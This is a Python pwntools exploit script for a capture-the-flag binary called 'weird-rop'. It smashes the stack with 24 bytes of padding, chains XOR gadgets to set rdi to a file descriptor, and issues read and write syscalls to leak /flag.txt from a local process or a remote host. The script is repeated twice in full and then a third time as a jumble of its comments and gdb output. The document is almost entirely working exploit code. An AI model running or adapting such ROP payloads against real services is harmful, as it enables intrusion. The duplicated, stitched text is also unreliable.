#!/usr/bin/env python3
import pwn
from itertools import permutations

host = '192.168.3.11'
port = 1000
target = 'weird-rop-f17e9f493733a383aac548dbf1320c33'

xors = [ 0x16b, 0x188, 0x198, 0x19b, 0x1a3, 0x1a9, 0x1d, 0x1e5, 0x1f4, 0x237,
         0x25, 0x274, 0x281, 0x28e, 0x29a, 0x2b3, 0x30c, 0x314, 0x32e, 0x355,
         0x3ab, 0x3cd, 0x6f, 0xc1, 0x56, 0x53]

# find gadgets makes result of *xor rdi, xxx* equals to file descriptor.
# find_xor_rdi_gadgets(3) is for local test, as file descriptor for */flag.txt* is 3.
# find_xor_rdi_gadgets(5) is for server, as file descriptor for */flag.txt* on server is 5.
def find_xor_rdi_gadgets(target):
    for i in range(2, len(xors)):
        p = permutations(xors, i)
        for j in p:
            res = 0
            for k in j:
                res ^= k;
                if res == target:
                    return j;
    return None

def exploit(remote=False):
    if remote:
        pr = pwn.connect(host, port)
    else:
        pr = pwn.process(target)
    try:
        elf = pwn.ELF(target)
        rop = pwn.ROP(elf)
        print(pr.readline())

        """
        Find padding via gdb

        gef➤  info frame
        Stack level 0, frame at 0x7fffffffda48:
         rip = 0x401153 in vuln; saved rip = 0x6161616161616164
         called by frame at 0x7fffffffda58
         Arglist at 0x6161616161616163, args: 
         Locals at 0x6161616161616163, Previous frame's sp is 0x7fffffffda50
         Saved registers:
          rip at 0x7fffffffda48
        gef➤  pattern search 0x6161616161616164
        [+] Searching '0x6161616161616164'
        [+] Found at offset 24 (little-endian search) likely
        [+] Found at offset 17 (big-endian search) 
        """
        payload = b'a'*24

        # gadgets from output of 'ROPgadget --binary weird-rop-f17e9f493733a383aac548dbf1320c33'
        pop_rdx = pwn.p64(0x4010de)
        mov_rax_0 = pwn.p64(0x401002)
        mov_rax_1 = pwn.p64(0x40100a)
        mov_rdi_1 = pwn.p64(0x401012)
        xor_rdi_0x53 = pwn.p64(0x40107d)
        xor_rdi_0x56 = pwn.p64(0x40101b)
        xor_rdi_0x198 = pwn.p64(0x4010c3)
        xor_rdi_0x19b = pwn.p64(0x40104c)

        if remote:
            payload += xor_rdi_0x56
            payload += xor_rdi_0x53
        else:
            payload += xor_rdi_0x19b
            payload += xor_rdi_0x198

        payload += pop_rdx
        payload += pwn.p64(0x19) # read length
        payload += mov_rax_0
        payload += pwn.p64(rop.find_gadget(['syscall'])[0])

        payload += mov_rax_1
        payload += mov_rdi_1
        payload += pwn.p64(rop.find_gadget(['syscall'])[0])

        pr.sendline(payload)
        print(pr.readall(2))

    finally:
        pr.close()

#print(list(map(hex, find_xor_rdi_gadgets(3))))
#print(list(map(hex, find_xor_rdi_gadgets(5))))
exploit(True)

#!/usr/bin/env python3
import pwn
from itertools import permutations

host = '192.168.3.11'
port = 1000
target = 'weird-rop-f17e9f493733a383aac548dbf1320c33'

xors = [ 0x16b, 0x188, 0x198, 0x19b, 0x1a3, 0x1a9, 0x1d, 0x1e5, 0x1f4, 0x237,
         0x25, 0x274, 0x281, 0x28e, 0x29a, 0x2b3, 0x30c, 0x314, 0x32e, 0x355,
         0x3ab, 0x3cd, 0x6f, 0xc1, 0x56, 0x53]

# find gadgets makes result of *xor rdi, xxx* equals to file descriptor.
# find_xor_rdi_gadgets(3) is for local test, as file descriptor for */flag.txt* is 3.
# find_xor_rdi_gadgets(5) is for server, as file descriptor for */flag.txt* on server is 5.
def find_xor_rdi_gadgets(target):
    for i in range(2, len(xors)):
        p = permutations(xors, i)
        for j in p:
            res = 0
            for k in j:
                res ^= k;
                if res == target:
                    return j;
    return None

def exploit(remote=False):
    if remote:
        pr = pwn.connect(host, port)
    else:
        pr = pwn.process(target)
    try:
        elf = pwn.ELF(target)
        rop = pwn.ROP(elf)
        print(pr.readline())

        """
        Find padding via gdb

        gef➤  info frame
        Stack level 0, frame at 0x7fffffffda48:
         rip = 0x401153 in vuln; saved rip = 0x6161616161616164
         called by frame at 0x7fffffffda58
         Arglist at 0x6161616161616163, args: 
         Locals at 0x6161616161616163, Previous frame's sp is 0x7fffffffda50
         Saved registers:
          rip at 0x7fffffffda48
        gef➤  pattern search 0x6161616161616164
        [+] Searching '0x6161616161616164'
        [+] Found at offset 24 (little-endian search) likely
        [+] Found at offset 17 (big-endian search) 
        """
        payload = b'a'*24

        # gadgets from output of 'ROPgadget --binary weird-rop-f17e9f493733a383aac548dbf1320c33'
        pop_rdx = pwn.p64(0x4010de)
        mov_rax_0 = pwn.p64(0x401002)
        mov_rax_1 = pwn.p64(0x40100a)
        mov_rdi_1 = pwn.p64(0x401012)
        xor_rdi_0x53 = pwn.p64(0x40107d)
        xor_rdi_0x56 = pwn.p64(0x40101b)
        xor_rdi_0x198 = pwn.p64(0x4010c3)
        xor_rdi_0x19b = pwn.p64(0x40104c)

        if remote:
            payload += xor_rdi_0x56
            payload += xor_rdi_0x53
        else:
            payload += xor_rdi_0x19b
            payload += xor_rdi_0x198

        payload += pop_rdx
        payload += pwn.p64(0x19) # read length
        payload += mov_rax_0
        payload += pwn.p64(rop.find_gadget(['syscall'])[0])

        payload += mov_rax_1
        payload += mov_rdi_1
        payload += pwn.p64(rop.find_gadget(['syscall'])[0])

        pr.sendline(payload)
        print(pr.readall(2))

    finally:
        pr.close()

#print(list(map(hex, find_xor_rdi_gadgets(3))))
#print(list(map(hex, find_xor_rdi_gadgets(5))))
exploit(True)

#!/usr/bin/env python3 # find gadgets makes result of *xor rdi, xxx* equals to file descriptor. # find_xor_rdi_gadgets(3) is for local test, as file descriptor for */flag.txt* is 3. # find_xor_rdi_gadgets(5) is for server, as file descriptor for */flag.txt* on server is 5. Find padding via gdb          gef➤  info frame         Stack level 0, frame at 0x7fffffffda48:          rip = 0x401153 in vuln; saved rip = 0x6161616161616164          called by frame at 0x7fffffffda58          Arglist at 0x6161616161616163, args:           Locals at 0x6161616161616163, Previous frame's sp is 0x7fffffffda50          Saved registers:           rip at 0x7fffffffda48         gef➤  pattern search 0x6161616161616164         [+] Searching '0x6161616161616164'         [+] Found at offset 24 (little-endian search) likely         [+] Found at offset 17 (big-endian search) # gadgets from output of 'ROPgadget --binary weird-rop-f17e9f493733a383aac548dbf1320c33' # read length #print(list(map(hex, find_xor_rdi_gadgets(3)))) #print(list(map(hex, find_xor_rdi_gadgets(5))))